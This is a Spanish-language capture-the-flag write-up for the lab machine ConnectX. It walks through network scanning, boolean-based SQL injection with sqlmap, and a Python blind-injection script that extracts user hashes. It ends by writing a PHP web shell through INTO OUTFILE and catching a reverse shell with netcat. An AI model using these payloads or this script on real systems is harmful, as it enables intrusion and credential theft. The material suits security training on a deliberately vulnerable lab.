ConnectX
Writeup de la máquina ConnectX de BugBountyLabs.
Resumen de la resolución
ConnectX es una máquina Linux de dificultad Easy (Principiante) de la plataforma BugBountyLabs. En ella explotaremos una Inyección SQL, tanto de manera automática como manual, que se presenta al filtrar por posts. Tras enumerar la base de datos, no encontraremos nada interesante de lo que podamos abusar, por lo que nos daremos cuenta que tenemos la capacidad de ejecutar comandos remotamente (RCE) mediante una escritura de archivos a través de la inyección SQL. Finalmente, obtendremos acceso a la máquina víctima y leeremos el contenido del archivo flag.txt
, necesario para completar el formulario.
Enumeración
En primer lugar, realizaremos un barrido en la red para encontrar la Dirección IP de la máquina víctima, para ello usaremos el siguiente comando.
1
arp-scan -I ens33 --localnet
A continuación podemos ver la Dirección IP ya que el OUI es 08:00:27, correspondiente a una máquina virtual de Virtual Box.
Después le lanzaremos un ping para ver si se encuentra activa dicha máquina, además de ver si acepta la traza ICM. Comprobamos que efectivamente nos devuelve el paquete que le enviamos por lo que acepta la traza ICMP, gracias al ttl podremos saber si se trata de una máquina Linux (TTL 64 ) y Windows (TTL 128), y vemos que se trata de una máquina Linux pues cuenta con TTL próximo a 64 (63), además gracias al script whichSystem.py podremos conocer dicha información.
Nmap
En segundo lugar, realizaremos un escaneo por TCP usando Nmap para ver que puertos de la máquina víctima se encuentra abiertos.
1
nmap -p- --open --min-rate 5000 -sS -v -Pn -n 192.168.26.77 -oG allPorts
Observamos como nos reporta que se encuentra abiertos los puertos 22 y 80.
Ahora gracias a la utilidad getPorts definida en nuestra .zshrc podremos copiarnos cómodamente todos los puerto abiertos de la máquina víctima a nuestra clipboard.
A continuación, volveremos a realizar un escaneo con Nmap, pero esta vez se trata de un escaneo más exhaustivo pues lanzaremos unos script básicos de reconocimiento, además de que nos intente reportar la versión y servicio que corre para cada puerto.
1
nmap -p22,80 -sCV 192.168.26.77 -oN targeted
En el segundo escaneo de Nmap lo que más nos llamará es la existencia del dominio connectx.bbl.
Puerto 80 - HTTP (Apache)
El aspecto de la página web alojada en el puerto 80, es el siguiente.
Registraremos un nuevo usuario (test).
Tras logearnos, veremos que podemos publicar posts. Además, seremos capaces de listar posts de otros usuarios.
Explotación
SQL Injection → RCE
Gracias al uso BurpSuite y FoxyProxy, capturaremos la petición que se realiza cuando filtramos posts. Una vez en el Repeater, ingresaremos una comilla ('
) para comprobar si ocurre algo extraño.
1
username=admin'
El servidor nos devuelve un 500 Internal Server Error, lo que indica que posiblemente sea vulnerable a una SQL Injection.
A continuación, probaremos una típica SQL Injection que nos servirá para transformar la consulta SQL en una verdadera.
1
username=admin'+and+1=1--+-
Veremos cómo la consulta nos devuelve los posts del usuario admin, ya que la consulta que se ha ejecutado ha sido exitosa.
Ahora introduciremos una inyección SQL Injection que alterará la consulta SQL para que devuelva un resultado falso.
1
username=admin'+and+1=2--+-
Tal y como vemos a continuación, ahora se muestran los posts del usuario admin, ya que hemos alterado la consulta SQL para que devuelva un resultado falso.
Automated - SQLMap
En primer lugar, estaremos dumpeando la información de la base de datos de manera automatizada gracias a SQLMap.
Bases de datos
Guardaremos en un fichero la petición vulnerable a la Inyección SQL basada en booleanos, y a continuación usaremos el siguiente comando para sacar todas las bases de datos.
1
sqlmap -r req.req -p "username" --dbs --batch --level 5 --risk 3
Entre todas las bases de datos que nos reporta nos llamará la atención connectx.
Tables de la base de datos connectx
Mostraremos todas las tablas de la base de datos connectx gracias al siguiente comando.
1
sqlmap -r req.req -p "username" -D connectx --tables --batch --level 5 --risk 3
Nos llamará la atención la tabla users.
Columnas de la tabla users
Gracias a la siguiente instrucción mostraremos las columnas de la tabla users.
1
sqlmap -r req.req -p "username" -D connectx -T users --columns --batch --level 5 --risk 3
Nos quedaremos con la columna password y username.
Información de la tabla users
Finalmente, dumpearemos la información de la tabla users gracias al siguiente comando.
1
sqlmap -r req.req -p "username" -D connectx -T users -C username,password --dump --batch --level 5 --risk 3
Tal y como vemos a continuación, encontraremos dos hashes: el nuestro y el del usuario admin. En este punto, podemos intentar crackear el hash del usuario admin, pero no tendremos éxito.
Manual - Python Script
Gracias al siguiente script, seremos capaces de volcar toda la información de la base de datos, es decir, obtener el hash del usuario admin.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/usr/bin/env python3
# Author: Álvaro Bernal (aka. trr0r)
import requests, string, time, signal, sys
from pwn import *
characters = string.ascii_lowercase + string.ascii_uppercase + string.digits + "-_:,$.@/~1&*"
main_url = "http://connectx.bbl/home.php"
# Establecemos la cookie de sesión de nuestro usuario
cookies = {
'PHPSESSID' : 'vpk8tb61k35rugng5nqe8c5mbo'
}
# Payloads usados para dumpear la información de la base de datos
# actual database -> "admin' and substring(database(),%d,1)='%s'-- -" % (position, character)
# databases -> "admin' and substring((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s'-- -" % (position, character)
# connectx's tables -> "admin' and substring((select group_concat(table_name) from information_schema.tables where table_schema = 'connectx'),%d,1)='%s'-- -" % (position, character)
# connectx's columns -> "admin' and substring((select group_concat(column_name) from information_schema.columns where table_schema = 'connectx' and table_name = 'users'),%d,1)='%s'-- -" % (position, character)
# connectx's information -> "admin' and substring((select group_concat(BINARY(username),0x3a,BINARY(password)) from connectx.users),%d,1)='%s'-- -" % (position, character)
def ctrl_c(key, event):
print("\n\n[!] Saliendo...\n")
sys.exit(1)
signal.signal(signal.SIGINT, ctrl_c)
def makeSQLI():
cadena = ""
p1 = log.progress("SQLI")
p1.status("Fuerza bruta")
p2 = log.progress("Información extraída")
for position in range(1, 500):
for character in characters:
data = {
'username' : "admin' and substring((select group_concat(BINARY(username),0x3a,BINARY(password)) from connectx.users),%d,1)='%s'-- -" % (position, character)
}
r = requests.post(main_url, data=data, cookies=cookies, allow_redirects=False)
p1.status(data["username"])
if "ChatGPT" in r.text:
cadena += character
p2.status(cadena)
break
if __name__ == '__main__':
makeSQLI()
Veremos como de igual forma conseguimos dumpear la información de la base de datos. En este punto, podemos intentar crackear el hash del usuario admin, pero no tendremos éxito.
RCE
Como hemos visto, la información extraída no nos lleva a nada, así que intentaremos escribir contenido en un fichero. Para ello, realizaremos la siguiente SQL Injection.
1
username=admin'+union+select+'test'+into+outfile+'/var/www/connectx.bbl/test.txt'--+-
Como se puede apreciar, hemos conseguido escribir contenido en un fichero a partir de una SQL Injection
En este punto, escribiremos en un fichero el contenido de una Web Shell. En resumen, debemos ejecutar la siguiente SQL Injection.
1
username=admin'+union+select+'<?php+system($_GET[0]);+?>'+into+outfile+'/var/www/connectx.bbl/cmd.php'--+-
Veremos que hemos conseguido tener ejecución remota de comandos (RCE), por lo que en este punto nos pondremos en escucha con NetCat (nc -nlvp 443
) y nos enviaremos una Reverse Shell.
Veremos que recibimos la Reverse Shell, lo que nos permitirá ganar acceso a la máquina víctima.
Finalmente, leeremos el contenido del flag.txt
para poder completar el formulario.